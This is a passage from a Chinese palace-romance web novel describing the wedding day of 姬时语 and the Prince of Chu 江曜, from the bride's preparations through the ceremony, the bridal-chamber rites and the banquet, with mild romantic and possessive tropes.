“都道新娘子会是最漂亮的那个,我瞧着阿锁是越发好看。”
曾宝仪亲切笑了起来,自打看清江曜真面目之后,她喜欢上缠着姬时语。
这不,甫一上手摸了一把小姑娘娇嫩的脸蛋,颇有几分爱不释手。
“唉,只是好可惜啊,可惜阿锁要嫁给的是楚小王爷。”
曾宝仪竟微微叹气。
她一叹气引得闺房之中众人齐齐看来,偏曾宝仪尤不知自己说着不合时宜的话。
“我们阿锁这样的小美人,竟要嫁一个疯子,我的心光想着便是痛。”
姬如萍与姬如蕊对视一眼,而杜南霜与沈安乐面上的笑也在淡淡抹开。
几个人俱是想到了一处。
京中疯传江曜目中无人,可是当街拔刀,意欲斩杀大皇子江承运。
若非二皇子江承德执意阻拦,江承运已被双目血红的江曜砍掉脑袋。
“阿锁真是心甘情愿,而非受楚小王爷所逼迫?他那样的人,是做得出威逼利诱的事来,怕不是你不肯,他拿刀逼着你说愿意。”
曾宝仪怜爱地握住姬时语的素手,摸了又摸,又兀自感叹:“哇,阿锁的手好滑,揉着软软的,好好摸。”
沈安乐瞧曾宝仪一副没心眼的模样,笑得不行,“曾小姐怎这样怕楚小王爷?”
“这还用说,当年在岭西,我们可听多了他的传闻,我也是受他样貌蒙骗过许久。”
曾宝仪说得愤愤不平,还不忘揉着姬时语的手,劝慰她:“阿锁嫁去王府,还是要少和疯子对着干,你乖巧些,多顺着他,兴许那个疯子便能生几分良心,多疼爱你。”
“好,我记得了。”
姬时语哭笑不得,她勾笑应曾宝仪,“不过,你可以把手还给我了吗?”
“再给我摸一会儿嘛,待你出嫁,我便再摸不到。”
曾宝仪笑眯眯又抱紧几分,揉巴揉巴几下,是真喜欢她的手。
“疼爱?”
姬如萍笑道:“楚小王爷定会疼爱五妹的。”
杜南霜拧眉:“只希望阿锁一切都能好好的。”
“是啊,阿锁将要侍奉是一个疯子,还不知道阿锁嫁去可会受罪,我们都盼着阿锁能够美满,”
曾宝仪说的认真:“还望楚小王爷少发些疯,好生怜惜点我们阿锁,尤其是……这新婚夜。”
几个人面面相觑。
早知道江曜性子难以捉摸,是个不好相与的主。
姬时语生得娇俏,跟个白面团儿似得柔软。
也不知这样的小姑娘,新婚之夜怎样抵挡得住一个疯子。
……
九月初八,大婚前一日。
姬合英在当夜搬来韶华院,陪同姬时语睡觉。
“姐姐!”
姬时语好生欢喜,爬起来便将床榻让出一半给姬合英,还把被褥挪来,给姐姐盖上。
姬合英牵住她的手,拍拍她后背,如小时候那样哄着她睡下。
“会紧张吗?”
“嗯。”
“明日你便要嫁给江云让,日子过的还真快,我总以为是他刚来咱们侯府的时候。”
“是啊,一晃五六年就过去了,姐姐已成家,我也要嫁人。”
小姑娘哼着说,声色闷闷的。
她已有好几日没见过江曜,这些日子不是没想念过江曜,但侯府有规矩,不允两人婚前见面。
是以昨日江曜偷摸翻墙入府,来到韶华院,想见姬时语一面,却被宁心与宁乐俩姐妹挡了回去。
姬时语便在窗外,遥遥地眺望了江曜一眼。
那时江曜狐狸眼阴郁沉沉,随时都要发作,姬时语出声喊他。
夜风微凉,江曜的嗓音寡薄清冷,随风而来。
他唤她:“阿锁。”
江曜的声音含杂了姬时语能听明白的思念。
他想她了,忍不住地想要翻越楚王府与侯府,前来见她。
“哥哥,图个心安,你回去吧。”
姬时语还说:“我们大婚再见也不迟的。”
到底还是听她的话,江曜的身影隐入了黑暗。
直到这大婚之日的前一夜。
姬合英拍哄着姬时语的后背,声音低低。
恍惚间,她想起一件十分重要之事。
“阿锁,你可看了娘给你的本子?”
“什么本子?”
“就是……新婚夜该学的那几样。”
姬合英说的含糊,但话姬时语是听懂了。
每个新嫁娘该读一遍,心中有个底,待新婚夜,该做闺房之中的那些事,便不会害怕。
偏姬时语早早便有过一遭。
在暗室和江曜胡来一通,只是没破身,但她被勾着尝遍了各样翻折的姿势,十分羞赧。
那时候她没多讨厌,还有些盼望,想要与江曜做的更多。
后还是被江曜给阻,才没继续下去。
这事太过羞人,说不出口。
姬时语只得害躁地蒙住脑袋,闷声应:“看啦!我都看过啦!”
“好,那就睡吧。”
姬合英吹灭了夜灯。
翌日,天边黑蒙蒙的,甚至清晨还未天亮,姬合英便将卷着被子的姬时语摇醒。
“阿锁,该起来了。”
姬时语几乎彻夜未眠,疲惫的打了个哈欠,软软的被姬合英拖拽起身。
不多时,萍亭与萍柳入屋,为姬时语绞帕子净脸。
姬时语还在昏昏沉沉之中,屋外便是一阵急促脚步声,与杂乱的喧闹。
喜婆方一入内,见姬时语空空荡荡,像才起身,焦急催道:“得快些,时候不早了。”
姬时语睨眼天,天际鱼肚将白,已是这样大早,时候竟还是晚了。
叹口气,她打起精神。
萍亭与萍柳扶着姬时语坐于梳妆台前,两个丫鬟一人忙活一面,为她梳头上妆。
屋外此刻传来一道苍老年迈的声音。
“五小姐可是起了?”
姬合英笑着迎过去:“荣老夫人,我妹妹在梳妆呢,正等着您。”
这位荣老夫人乃是淮阳侯府荣大人的母亲,她一生孕育三子三女,年已八十,仍然精神矍然,家宅安宁。
上回姬老夫人请她为姬合英做全福婆婆开脸,今日同样为姬时语请了荣老夫人。
“恭贺姬总兵,恭贺五小姐。”
能为姬时语开脸,荣老夫人感到十足荣幸。
她净过双手,取来银丝线,抚摸上了姬时语的脸。
“侯府真是大喜呐,两姐妹都觅得了良人。”
姬合英在旁附和:“还要沾老夫人的喜呢。”
荣老夫人动作轻柔,在姬时语白玉似得脸上拂过,阴线微微刺挠,惹得她禁不住叮咛。
“五小姐皮肤嫩,开脸会疼,不过很快便会好,您且忍忍。”
姬时语只觉得面上火辣辣的滋味,待荣老夫人作罢,她又取来一方柔帕,为姬时语轻缓拂开吹弹可破的肌肤。
而后,荣老夫人喊来萍亭与萍柳,“来为你们小姐上妆。”
“是。”
近一炷香的功夫,两个丫鬟方才停手。
“太美了!”
荣老夫人的赞誉已在姬时语耳边响起,“五
小姐未上妆是娇俏姑娘,上过妆后如同海棠明艳,是天仙一般的美人。”
姬合英笑应:“我们阿锁本就是美娇娘。”
姬时语缓缓睁开眼。
身前的铜镜之中映出一双盈盈如秋水的眼眸,她的睫毛微翘,还沾点湿气。
黛眉微染,朱唇嫣红,额上一朵海棠花钿,宛如绽放在她那张莹白秀丽的脸。
她的眼尾一动,那花便活络了起来。
发髻也已盘好,乌发尽数绾起,两侧皆插入一只金凤六珠长步摇,坠着镶嵌珍珠与红宝石的金线流苏。
“姐姐。”
姬时语轻唤姬合英,是想她帮着搀扶她站起来更衣。
姬合英领会,立马扶起她来,手中一握住,便是小姑娘点染朱红蔻丹的指甲盖。
萍亭与萍柳取来蜀锦绣花鞋,服侍姬时语穿上,再又一件一件将婚服着上她身。
这件百鸟朝凤云霞赤红婚服,是楚王府前两日命人送至于侯府。
霞帔鸾凤飞舞,朱红腰封绣有成双花鸟,衣袂缘边滚存长的金丝缀,细看之下,还镶有五色米珠。
“是江云让送来的?”
姬时语“嗯”了一声。
姬合英望着流光溢彩的大红喜服,如此珍重与华贵。
她头一回认可了江曜这个妹夫。
穿戴整齐,萍亭将最后一样取来。
“小姐,该戴凤冠了。”
“好。”
姬时语微微垂首,萍亭将一顶金丝五龙三凤冠戴上她的发顶。
这再一抬首,有如千斤之重。
荣老夫人看的更清楚,“当年大殿下与三殿下娶正妃,皇子妃娘娘也未得一顶双凤冠呢,三凤的,抵得上太子妃娘娘的规格啊。”
然而姬时语腹诽暗骂江曜。
他怎给她备了这样沉重的发冠,她的脖子——
还未出屋,便快要折断了。
姬合英笑出声,“阿锁忍耐一会儿,凤冠还不曾有轻巧的,楚王府送这一顶来,那是真看重你的。”
“姐姐……”
“听话,忍忍。”
可是,成亲是要一整日啊,哪来的一会儿便好呢?
姬时语欲哭无泪。
终于,院外的喜婆前来寻人,她的喊话无比高亢。
“五小姐,楚王来迎亲了,吉时已到,还请您出屋!”
萍柳顿时紧张起来,慌里慌忙的,是连最重要的红盖头也没找着。
“小姐!”
好在萍亭镇定,从姬时语床榻边的一处木盒底部,翻找出了她叠起绣好的朱红盖头。
于是,红盖头终于盖上。
姬时语眼前被红色蒙住,她再看不见路,手边传来一阵温热。
“阿锁,我送你出嫁。”
姐姐姬合英已是牵起她的手。
正如儿时,姐妹俩生来便是最亲近的血脉亲缘。
有姬合英在,姬时语狂跳不止的心,突然就轻巧的平复。
由着姬合英牵住,姬时语莲步慢慢。
也不知走了几步,便听姬合英说道:“阿锁,到爹娘跟前了。”
姬时语头顶凤冠太重,她几近不能跪地,但还是努力弯腰,缓慢地挪动下来。
“爹,娘,能成为两人的女儿,是我之幸。这些年,我体弱多病,让爹娘烦心操劳太多,能平安长大,是爹娘用心庇护着我。”
姬时语稍有哽咽,她克制着自己的泪不能落下来,哭花妆容,“如今女儿要出嫁,爹娘要多保重啊……”
“阿锁……”
舒氏说不出更多的话,她是侧过脸,捉起帕子半喜半忧地抹眼泪。
姬雄武嘴唇蠕动片刻,末了末,还是难忍地开口。
“阿锁嫁去楚王府,不要太耍小孩儿性子,若万一有委屈,便回家寻爹娘。”
一句托付,如同巨石,压得姬时语的眼眶蓄满泪意。
她咬住了嘴唇。
姬合英几番忍耐,不忍之下,还是强行将姬时语搀扶起。
她朝舒氏与姬雄武道:“爹娘,我送阿锁出去。”
姐姐姬合英拍着姬时语的手,小姑娘稍稍平复,反握住了她的手。
“姐姐要送我出嫁吗?”
姬时语并未见到二哥姬时河前来背她,反而姬合英领着她前行了很久。
姬合英笑道:“是啊。”
而今最疼爱的妹妹将出嫁,旁人家该是兄长亲送,忠义侯府亦有堂兄仍在。
但姬合英不愿。
这是她的妹妹,便该由她来送嫁。
多年前,姬时语还是个小白团子,抱着姬合英不断撒娇,姬合英以肩膀托着她玩闹,哄她睡哄她养好身子。
现在,她身为长姐,是该亲眼送她成亲。
她不能把妹妹交付给他人。
“姐姐送去你。”
姬合英再度郑重承诺。
不一会儿,周遭便传开姬时河与姬时成的吵闹声。
“大姐真是耍赖啊,不是说好了该我背五妹出嫁吗?”
“为何我不能呢,我也要送五姐出嫁!”
姬合英瞥去姬时成那头,笑话他:“你个半大小人儿,还没姐姐个头高,怎么背的动你五姐?”
姬时成好不委屈,拽着姬时河就闹,“二哥,大姐欺负我呜呜呜,五姐也不应我的……”
“好了好了,你看二哥不也没成事?”姬时河哄姬时成。
“阿锁。”
姬合英搀着姬时语迈过忠义侯府的府门,她感慨万千,万般不舍。
楚王府的迎亲马车已在府门前等候,江曜一身赤红喜服,见姬时语出府,他那双狐狸眼紧紧锁着那一身火红色。
他的阿锁,他的新娘。
江曜瞬间翻身下马,两步之下便来到姬时语身边。
“阿锁,该跟我回王府了。”
姬时语看不见江曜的脸,但听得他清冷干净的嗓音在耳边缠绕。
不知为何,十分的温柔。
让人安心。
姬合英将姬时语的手递给江曜,她沉声道:“万不可让阿锁伤心,不然……”
“不会有那种事。”
江曜一口打断姬合英。
迫不及待的,江曜牵着姬时语入了楚王府的花轿。
他耐着性子,握着她的腰肢弯下,送她入内。
新娘子那身绣有金丝凤凰的裙裾舒展开,长长的尾摆曳地三尺许,行走时簌簌有声。
街边不时有人欢闹声。
“天啊,楚王妃嫁衣之上的凤凰,像在日头下飞呢。”
“听说是楚王讨了多年才讨来的新娘子。”
“上回楚王街上动刀模样多骇人,今日全然一变,是真欢喜这一门亲事啊。”
“别说,也不知楚王妃受不受得住,楚王那性子让人害怕的很。”
“嘘,少说两人,还想不想讨楚王的红赏了?”
待姬时语在花轿之中坐定,江曜收手之时,禁不住似得,他低头吻了她的指尖,紧紧地痴缠着她。
“阿锁,这辈子都不会让你离开我的,想也别想。”
“哥哥。”
姬时语被他的举动蛊惑,红盖头微微一动,是她应声点了头。
江曜好生愉悦,连音色也染上喜色,“我们走吧。”
花轿一起,姬时语端端正正坐着,压抑着的哭声却在耳边响起。
是她的娘亲,舒氏。
轿子外,姬雄武揽着舒氏,抚着她劝慰,“容华,今日是阿锁的好日子,我们该高兴的。”
“是啊,我们该高兴的。”
可是花轿被抬起,姬时语便要跟随江曜嫁去楚王府。
“阿锁!”
舒氏还是没忍住哭喊了出声。
姬时语听见了,她的手抚上了晃动的花轿,蜷缩,抠起。
很紧。
想到舒氏未能说出口的教导,那是母亲难言的疼爱与不舍,万般的心思皆藏在双眼隐忍的泪水之中。
“娘……”
姬时语再难忍,眼泪终究还是落下来,沾湿手里的绢帕。
双手绞动,却在突然之间,摸到几块硬的糖块。
姬时语顿时忆起,方才江曜松开她手时,飞快将此物塞入她的手心。
江曜压低声音,说着:“要一整日,不要饿着。”
“哥哥真是的……”
姬时语念叨江曜,手指忍不住捻起一块放入唇中,微抿住。
一股清甜的桂花香充斥唇间。
是桂花糖。
婚前江曜曾写信问过她,可有喜欢吃的甜食,需要他备下否。
姬时语说了无需。
但江曜还是念及姬时语喜欢岭西的桂花酿,准备了便于藏纳喜服,在大婚之日压压肚子的桂花糖。
他知道她会饿上良久,又舍不得她挨饿。
唇齿溢着甜,姬时语甜滋滋地勾起笑来。
她的哥哥,还是那样的好。
第130章
今日乃楚王江曜新婚,皇子们皆奉弘文帝的命前往王府庆贺楚王府的喜事。
因而当三位皇子齐聚楚王府门前,众人并不见怪。
只是江承运面色不虞,眼角还淬了厌嫌之色。
他立于楚王府门前,活像要将人身边近处的人生吞活剐。
“江曜伤还未愈?磨磨蹭蹭的,呵,也不知要砍我时的气势去哪儿了。”
等了又等,却仍未见花轿来到,江承运已是大为不耐,呵斥便道:“我是欠他?五小姐是,在这儿干等也是。”
江承北面不改色,意味不明地端望着前方,未接江承运的话。
今日来王府贺喜的人不再少数,加之舒家人亦在,为着多年不见的舒老太爷,六部官员大半皆来到此处。
江承运声色之大,已惊动身后几位朝上官员的耳,惹来几道热烈非议的目光。
“皇兄,慎言!”
江承德旋即蹙眉,斥江承运道:“这是楚王府,而非你大皇子府。父皇有多看中楚王府,你心中还不清楚?上回楚小王爷动你,父皇却未降罪于他,这回你还不长教训?”
江承运不屑一顾地冷嗤笑了。
江承北心中暗骂一句蠢货。
不过江承北亦与江曜有仇未报,江承运和江曜互咬,他乐于在旁看好戏。
因此,江承北不语。
很快舒家人先行乘坐马车,抵至楚王府。
舒老太爷甫一下马车,六部众多官员便先一步聚拢去他身边。
自以首辅魏召与兵部尚书曾大人为先。
江承德认得的,
舒老太爷做太保的那些年,对这两位大人早有过知遇之恩,又提携多次。
是他在弘文帝身边多次劝诫,朝中各部才方得制衡有约。
这回来讨江曜的喜酒,弘文帝听得舒老太爷入京,特意嘱咐江承德,若见到老太爷,需得多有尊敬。
“舒老,瞧着你在蜀州过的像很有滋味啊,气色极好。”
“唉,比不得你这个老狐狸在京中混得有声有色。”
阁老房平年过六旬,与舒老太爷本便是同僚,两人见面你一言我一句的热络。
众人心中如同明镜,舒老太爷此番在楚王府门前等候,为的便是给姬时语撑腰。
这位新晋的楚王妃,不光娘家背后实力雄厚,有其父镇守岭西的忠义侯执掌十万兵权,其姐又是女总兵,恐要继承父亲衣钵。
而其生母,出自曾经的太保舒家,舒老太爷乃是弘文帝的老师,朝中各部敬仰的大儒。
身为小女儿,姬时语该受多荣宠。
江承德见江承运的脸色愈发黑沉,心觉他这个大皇兄还真是人心不足蛇吞象。
算计忠义侯府为的便是姬时语身后的权势,但却忘了,小姑娘压根看不上他。
姬时语的婚事,能做主的自然会是小姑娘自己。
江承德想,只要他守着不让江承运作乱,莫要搅合江曜的大婚便可。
一盏茶的功夫已去,宾客摩肩接踵,门前贺喜之声不断。
敲锣打鼓之声渐近,数多的铜板糖块投掷而下,江承德一抬首。
街道的那头,江曜一袭大红衣袍,高骑白马,正往楚王府这面走来。
新郎官玉带系腰,头戴玉金冠,两颗硕大东珠镶嵌冠两侧,韶光流转。
江曜在门前立定,翻身下马,日光映照着两颗宝珠,明亮非凡。
这珠光更衬得江曜清冷的面容,拢上一抹不曾见过的朱红昳丽。
“江曜,真便宜你了!”
江承运气不打一处来,见江曜如此春风得意,霎时气焰按捺不住,张口便喊道:“从前的那些账,我还没跟你算清!”
“是吗?”
江曜抬起凉薄的眼,他那双狐狸眼泛起阴郁,看江承运如在看一尊死人。
很快他掀动嘴皮笑了。
“江承运,你该庆幸今日是我与阿锁的大婚,我不杀你。”
江曜兴致好,便也不想在大婚之日见血。
他只是轻轻扬扬的淡笑,睨了一眼江承德,意思明显。
是让江承德处治江承运。
江承德立马招来手下,派了两名侍从一左一右挡在了江承运的身侧,未免万一。
没去理睬江承运,江曜转身走去花轿之边,撩开红色帘子,朝里递过去自己的手。
“阿锁,我们到了。”
江曜喊姬时语。
一只素白的小手放置在江曜的掌心,江曜心一动,喜悦之情四溢,转瞬便握紧了她的。
江曜牵住姬时语走出花轿。
“小王爷!”
喜婆一看新郎官怎就自顾自牵着新娘要入府了,大感不妙。
飞快跑上前,喜婆又将大红牵巾递到姬时语手边。
“小王爷,这不合规矩,您得握着牵巾引领王妃入府,可不兴握着手啊,不吉利。”
喜婆话音刚落,头顶阴寒的注视便投射过来,是江曜冷冷死寂的眼瞳。
他那薄唇吐出无情的话语。
“在楚王府,我便是规矩。”
喜婆无话可说,又怕小命不保,一时真觉得伺候不起这尊煞神。
慌乱之下,她投向新娘,好话赖说。
“王妃,您劝劝王爷,成婚本便是讨个好彩头不是?”
喜婆是受舒氏寻来的,她办不好差事左右为难极了,“老祖宗定下的规矩,自是有道理的。咱们讲究入府前不牵,由这红绸牵引,此后一辈子结伴,这手啊就不会再放开了。”
江曜没耐心,一眼威慑过去,“废话少说,别碍着拜堂的时辰。”
然而下一刻,姬时语柔软温热的手便攀上江曜的手腕。
她轻抚着他拍动两下,声色柔和。
“就依着规矩来办吧,你去牵那头,带我入府。”
江曜不愿意,反道:“阿锁,牵着红绸,你恐怕会摔倒。”
姬时语娇笑出声,“那你会让我摔吗?”
“不会。”
江曜回的坚定。
“那便是了,牵手也好,牵红绸也罢,不管走去哪里,你都在我身边,会一直护着我不是吗?”
小姑娘的话触动人心,抚平江曜的躁动不安。
江曜终还是牵起大红绸带,并让姬时语牵起了另一头。
但江曜放心不下看不见路的姬时语,一步一回头,脚步便走的极慢。
喜婆见事了,亦是笑喊:“好,新娘子该跨火盆了,王妃小心些啊。”
“阿锁。”
江曜不免忧心,姬时语头戴近二十斤的凤冠,喜服又是拖曳繁琐,他喊着让她当心些。
姬时语好笑地听着江曜染了焦急的话,心道:
两人成个亲,哥哥怎比她还要紧张呢?
好在萍亭萍柳一直跟随在姬时语身后,眼见小姑娘莲步轻移,跨过火盆。
两个丫鬟眼疾手快,迅速抬起火红喜服的尾摆,没让火苗沾上衣裙。
再又走了几步,江曜携姬时语便步入正院。
楚王府人丁稀薄,自江子墨被幽闭,楚王妃胡氏被废,王府仅余下老楚王与楚王两人。
姬时语手中的绸带停下。
她知晓,是江曜带着她来到正堂。
便听堂中响起高亢的喊声。
“一拜天地——”
姬时语朝屋外弯腰拜礼。
“二拜高堂——”
手中的绸带转了个弯,姬时语回身,随江曜齐拜王府的两位长辈。
“夫妻对拜——”
绸带动了动,江曜无声的在呼唤她,姬时语也回应了他的动作。
两人互相对拜,就此礼成。
“礼成!送入洞房——”
一只微凉的手爬过绸带,不肖一刹,便抚上姬时语的手背,江曜握住她的手。
“阿锁,我的夫人……”
“啊!”
姬时语还为他突如其来的改口而羞赧,谁料江曜一个弯腰,便将她一把拥入怀中,揽住她的腿弯突然抱她起来。
“楚王还真是急不可耐。”
“方才在府门前就瞧出他迫不及待了。”
“急的啊!”
周遭宾客倏地欢呼大笑。
“江曜……”
“阿锁,抓紧我。”
姬时语更是羞得不敢抬头,她的一双手,还是在他的话落下后,不由自主地环住了江曜的脖子。
江曜轻笑道:“夫君送你回房。”
姬时语恼得将脸蒙在他肩头,紧紧贴着红盖头,脸颊、耳尖全是热气。
他、他怎么就“夫人、夫君”唤得那般顺口啊?
“你又不守规矩。”
姬时语低低怨怪江曜。
江曜不以为然:“我说过了,王府我说了算。”
“真是的,楚王和老王爷还在呢。”
姬时语的手指只是轻轻拍了一下江曜,没多用力,后还是很顺从地拥紧他,音色亲昵道:“哥哥,
你是真不怕外人说三道四。”
“旁的事都不及我娶你过门。”
听着耳边江曜胸腔不平的心跳声,姬时语也被引得心跳如擂鼓。
砰砰砰的,直跳。
走了一会儿,江曜入了一道屋门,将她抱去床边,安稳的放下。
可还没等两人温存几句话,屋外顿时传入哄闹与嬉笑声。
“楚王,你这便就是不厚道了啊,哪儿有这么一股脑将新娘子抱入洞房的,我们都还未闹洞房呢!”
“常元忠,你真要闹本王的洞房?”
姬时语听着一阵发笑。
若说胆大包天,还得是他的四姐夫常元忠,性子直爽。
“我怕什么?”
常元忠直接回江曜:“今日大家伙可都在,论起来,楚王还是我们几个的妹夫。”
江曜呵笑:“所以,你要本王喊你姐夫吗?”
“哈哈哈。”
常元忠干笑,不敢应。
薛淮璋此时插话道:“王爷,你是该唤我们几人一声姐夫的。”
姬时语诧异,大姐夫薛淮璋这等了得,敢与江曜对呛?
“王爷在侯府所居多年,侯府与王爷有再造之恩,因此,这声姐夫,于情于理都喊得。”
“姐夫不姐夫不打紧,我们不是来闹洞房的吗?”
谭中仁笑说:“王爷,祝贺你新婚,娶得五小姐为妻,恭喜王爷得偿所愿。”
“罢了,几位姐夫的好意我心领,你们想闹,那便闹吧。”
姬时语一听江曜竟是松口,秀眉一挑。
屋外这时又有声音插入,“楚小王爷今日这般好说话,那本殿下也来凑个热闹。”
“二皇子殿下!”
常元忠一喊,姬时语便知谁来了。
江曜脸色不好看,来闹洞房的人太多,便只会搅合他向姬时语讨欢。
这些人一来,他是连亲也亲不到阿锁。
偏江承德好似看不出江曜眼中阴沉的怪罪,他转动轮椅,苍白的脸勾起笑容,“我们可要沾沾楚小王爷的喜气啊。”
喜婆在边,见这一幕只感瑟瑟发抖。
江曜一眼冷目射来,他吩咐下来。
“继续吧。”
喜婆颤颤将喜砣递给江曜,他便执起轻杆,挑起姬时语头上的红盖头。
朱红的角一挑起,一顶赤金的五龙三凤发冠呈现在众人眼前。
风冠垂下的两股珍珠珊瑚流苏与碧玉坠角,在姬时语眼尾晃动。
一双秋波眼,一对远山黛眉,两颊的胭脂淡淡扫开,白瓷似得脸蛋吹弹可破。
那朵海棠花钿,开在姬时语的额心,为她这姣美的容颜再添一分明媚。
海棠照花,明艳姝丽。
姬时语竟未被华贵的五龙三凤发冠压去容华,反而她戴着这顶尊贵凤冠,像相得益彰,无比般配。
众人看呆了,江曜遽然怔愣住。
平日姬时语玉白娇俏的脸他看得多,但大婚之日的明艳妆容,更美上三色。
“哥哥……?”
姬时语话音挑了弯,她一唤江曜,江曜的呼吸宛如窒息,良久才回神。
一回过神,江曜便想杀人。
这样明媚的小姑娘,是他的娘子,他不想让旁人看见她丝毫,连一根头发丝也不愿。
只想独占。
江曜挪动身子,挡住众人好奇注视的目光。
常元忠还在左右摆弄身子,想再眺几眼美人,他嘀咕道:“怎瞧不见了呢?”
江承德笑了。
他可是清楚,江曜气性大的不行。
那日在秋猎连小姑娘的脚腕也不允他多看,可谓是占有之心极强。
这会儿怕是江曜吃味,不肯让他们多看新娘子那张美人脸。
江承德说道:“莫要看了,看一眼还不够?”
薛淮璋顿了顿,问:“二殿下,你可知那顶五龙三凤冠……”
“嗯,五龙三凤冠为太子妃出嫁佩戴的发冠,但宫中至今不曾有太子妃。”
几个人俱是察觉此物不凡,江承德便未隐瞒,笑着解释道:“父皇知晓此事,正是恰逢楚小王爷迎娶五小姐,父皇便赐予了此冠。”
真只是恰逢吗?
薛淮璋心中一股澎湃江水不断翻涌。
姬时语被江曜的身影笼罩,她抬眸,入目是一袭红袍的江曜,如同她梦中的那般,俊逸出尘。
虽说二品官袍亦是正红,但两者大不相同。
官袍色暗,喜服大红明亮,着有金线绣纹。
江曜很少穿艳丽的色泽,今日一换红衣,清冷犹带妖冶,最是勾人魂魄。
姬时语禁不住抬起下巴,圈住了他的小拇指。
她笑出声:“端着在这儿作甚?平白挡我视线呢。”
“想阿锁眼里只能看见我。”
江曜说着这话,直让姬时语脸红心跳。
“哼,我这会儿也只能看着你啊,你都不让我看别处的。”
姬时语小声埋怨,推了推他的胸膛,叮嘱道:“好啦,我们还没喝合卺酒呢。”
“王爷,王妃。”
喜婆便在旁候着呢,瞧着两位小主子似说完了旁话,立马过来送上合卺酒。
江曜取来一杯给姬时语,他挽过她的手臂,两人交缠着,喝下了这杯合卺酒。
一杯酒下肚,嗓间辛辣。
姬时语被呛到,好一阵的咳嗽。
喜婆喊道:“王妃,酒可不能余下啊,得喝完!”
原来是姬时语的杯中,还余下半杯酒,她才喝下一口便被辣得猛咳。
江曜垂眸,抬手便夺去姬时语的酒杯。
不等喜婆再拦,他已一口倒进自己的唇中。
姬时语脸色忽然一变,直喊:“哥哥,该是我喝的……”
江曜却捧起她的脸蛋,俯下身子,薄唇顷刻攫取住她的唇瓣,猛力碾过。
那些辛辣的酒也在这一遭滚过后,变得味道淡去不少。
可是江曜不想放开她的唇,碾压几许,还在亲着。
便就着渡酒,他是连她的唇也咬了两口。
直到呜咽声自姬时语喉咙传来。
江曜才放开她。
姬时语的眼瞳眨动,她微开口刚要说话,又被江曜堵住了唇。
轻轻吻过她的唇后,江曜说了他想。
“阿锁,不要想抛下我,这辈子、下辈子,即使是黄泉路上,我也会永生缠着你。”
江曜不喜欢看姬时语眼底的顾虑,只是因一杯不知所谓的合卺酒。
为着怕坏规矩。
祖上那些规矩,碍不了江曜。
天底下也无人能挡他要锁住姬时语,永世陪伴自己的心。
江曜只知道,万事皆由他所为。
姬时语愿意相信那些,那么他便会成全她。
在背后,自有他在。
因此江曜直起身,再度吩咐喜婆过来,“还有何事要做?”
喜婆早就看得不见怪了,楚王府这一出成婚,说穿了便是江曜的随心所欲。
他顺着规矩,无非是为讨楚王妃的欢心。
“王爷,还有最后一件。”
喜婆便也不催着两个小主子,候着两人亲密,直到江曜吩咐。
她便端来一盘饺子,笑眯眯送给姬时语,喂着新娘子吃下一口。
姬时语还以为是吃食,想着她是好饿,便要咀嚼咽下肚。
可才吃一口,嘴里饺子的味儿太怪。
这饺子还是夹生的!
压根没熟!
姬时语哇得便吐出来。
江曜脸色霎变。
偏喜婆在这时大笑起来,“王妃,生不生?”
“什么生不生……”
姬时语还在茫然无措,只觉得那饺子半生不熟,很难吃。
喜婆忙给姬时语睇眼,挤了几道眼神。
姬时语看了又看,回过味来,白玉似的脸皮唰得红透。
怎么吃饺子会是这个意思啊?
是要生孩子的生。
姬时语脸红喏喏道:“生的。”
“好!祝王爷与王妃百年好合,喜得贵子,子孙绵延。”
喜婆喜笑颜开,这礼啊才算是大成,她唤人将房中收拾干净,拜了拜终是退了下去。
外屋的几人看了好一通热闹。
尤其是江曜捧着姬时语亲吻,那副急不可耐的模样,真让几个人见识到,面冷的楚小王爷对心爱的姑娘是有多心热。
然而喜婆离开半晌,却不见江曜出屋。
江承德只得抱拳咳道:“王爷,你还得去宴席招呼宾客啊。”
江曜垂身要亲姬时语的动作,也因江承德的话被止住。
姬时语想起来外室还乌泱泱站着一群人,两人再亲密都是让人听见的,她面红耳赤地推开江曜。
“哥哥,你快去。”
外头几道催促声。
“楚王爷莫误了时候啊。”
“外头多少人等着呢。”
如此一来,江曜只能随几个人离开。
那股逼仄的气势如潮水般褪去,室内平静下来,姬时语得以喘息。
这全身一松懈,便觉着头顶的凤冠沉重的不得了。
姬时语的脖子好痛,仿若真要折断,她高喊萍亭和萍柳。
“快为我摘去发冠。”
两个丫鬟应后,取下五龙三凤冠。
姬时语的脖子终于在这时,感到舒坦太多,她又问了时辰。
萍亭却道:“王妃,离婚宴结束应还有三个时辰。”
萍柳适时地端来一盘甜点吃食,“王爷吩咐过,让您先吃点垫垫肚子。”
姬时语也不矫情,她饿得肚子痛,吃过几块糕点,便泛起困意。
作势往床榻一躺,欲先睡一觉。
岂料身下滚痛难耐,像有物什咯得生疼。
姬时语翻身爬起,再一抖动床褥,大红之色裹着花生、果子噼里啪啦地掉落一地。
萍亭笑着说:“这些都是新婚夜讨喜事的彩头。”
为的是何事?
是两人的子嗣。
姬时语面一红。
她胡思乱想起来,前一日姐姐姬合英还叮嘱几番,问她可有看舒氏递来的本子画册,她瞎说自己看过了的。
然而姬时语并未看全。
那画册里图文并茂,一男一女交叠,姬时语不好意思多看,匆匆扫过便丢到箱笼最底部。
可是她已与江曜成亲,新婚夜逃不过的。
那时两人在暗室荒唐几日,姬时语便吃不住江曜。
姬时语又羞又恼,暗室的那五日不住在她脑中回荡,她都记不得两人一回是多久。
一盏茶,还是一炷香。
她没见过男人的口口,只是握住江曜的时候,感触过他的。
偏他那么大又那么的久,久得她手酸。
手酸了,便得换腿。
饶是忆起破皮的痛感,姬时语兀自头摇的像拨浪鼓。
她若是不看本子,晚上能吃得消江曜的吗?
思及此,姬时语连忙爬下床,翻箱倒柜地找自己藏在随身箱笼的册子。
待从底部将册子翻找出来,她的手心跟着滚烫起来。
姬时语视如死归一般,捧着书册,趟回床里。
她蒙上被子,闷起脑袋,偷偷地看。
……
宴席那厢,江曜是被架去各桌喝酒。
楚王府以双喜、四全、婚八扣摆宴,每一桌菜点凑够二十道,正所谓十全十美。
来到江承运与江承北这一桌,江曜勾唇冷笑。
两位皇子一个赛一个脸色丑臭,偏还要佯装同喜,说着吉祥话。
二皇子江承德在旁,江承运的嘴便长了嘴巴子,敷衍两句祝贺便不在多说。
反倒是江承北说的多了。
“楚王爷,恭贺你新婚,楚王爷多年不曾有喜事,这下老王爷便可心安。”
江承北在楚王府门前,自然见得姬时语嫁入楚王府,花轿之后跟随的一百二十抬之多的嫁妆。
正是妻子的嫁妆,有如半壁江山。
这等好事,竟落在江曜,这个他曾经看不起的野种头上。
江承北恨啊,可他又杀不了江曜。
姬时语给过他一刀,楚王与楚王妃这一对夫妻,两人同为他的仇敌。
